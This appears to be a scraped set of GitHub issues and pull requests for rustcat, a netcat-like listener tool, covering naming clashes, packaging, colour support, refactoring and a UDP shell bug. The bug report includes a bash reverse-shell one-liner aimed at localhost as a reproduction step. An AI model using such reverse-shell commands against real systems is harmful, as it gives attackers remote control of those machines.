  • `rc` binary name clashes with openrc

    `rc` binary name clashes with openrc

    The rustcat binary name rc clashes with /sbin/rc on OpenRC systems, which may cause some weirdness if installed to a directory with higher precendence than /sbin for some reason.

    I noticed this while packaging rustcat for Funtoo Linux, which is an OpenRC distro. We've decided to install rustcat in /usr/bin/rustcat instead of /usr/bin/rc for the time being. If this is something you even care about, considering an alternative name for the binary would be preferred. I thought I might let you know anyway :^)

    chore: add funtoo to install table

    Hello 👋🏻,

    I maintain the rustcat package over at Funtoo Linux. I've already added Funtoo install steps to the wiki, so I thought I might as well mention how to install rustcat on Funtoo in the README :^)

    Cannot clear screen / No colors

    I really love this tool but this tool is missing a few features.

    • I was able to clear screen with Ctrl + L with regular combination of rlwrap and ncat. I am not able to do the same with this.
    • There are no colors (with simple commands like ls -la. cannot highlight executables.)

  • Modifications following idiomatic Rust patterns

    Modifications following idiomatic Rust patterns

    On noticing repeated code patterns in the TCP and UDP handling code in listeners.rs, I added a decorator which takes a closure in (to perform the respective protocol operations). Some other logic like the (host, port) check has been rewritten with slice pattern matching, if lets and matches.

  • UDP shell only recognises 1st input character

    UDP shell only recognises 1st input character

    ISSUE TYPE:

    • Bug Report

    OS / ENVIRONMENT:

    • Operating system: 5.14.5-arch1-1
    • Rustcat version: rustcat 1.2.0

    STEPS TO REPRODUCE:

    1. (client) rc -ul localhost 1337
    2. (target) bash -c 'bash -i >& /dev/udp/localhost/1337 0>&1'
    3. (client)
      • type command & press enter
      • notice >> prompt with
        • only 1st typed character being repeated
        • command not being executed

    EXPECTED BEHAVIOUR:

    Normal shell behavior we all know.

    ACTUAL BEHAVIOUR:

    The 1st typed character is being "locked in". Meaning, to actually execute a command (e.g. pwd) one must:

    1. type 1st char (p) and enter
    2. type 2nd char (w) and enter
    3. type 3rd char (d) and enter
    4. enter to send the actual enter

  • Fix Windows colors outside of Cargo

    Fix Windows colors outside of Cargo

    Cargo enables ANSI color support, so the ANSI colors work just fine when run with cargo run, but they will not work when run directly from the compiled executable. This is fixed by enabling ANSI color support with Windows API at the start of runtime.
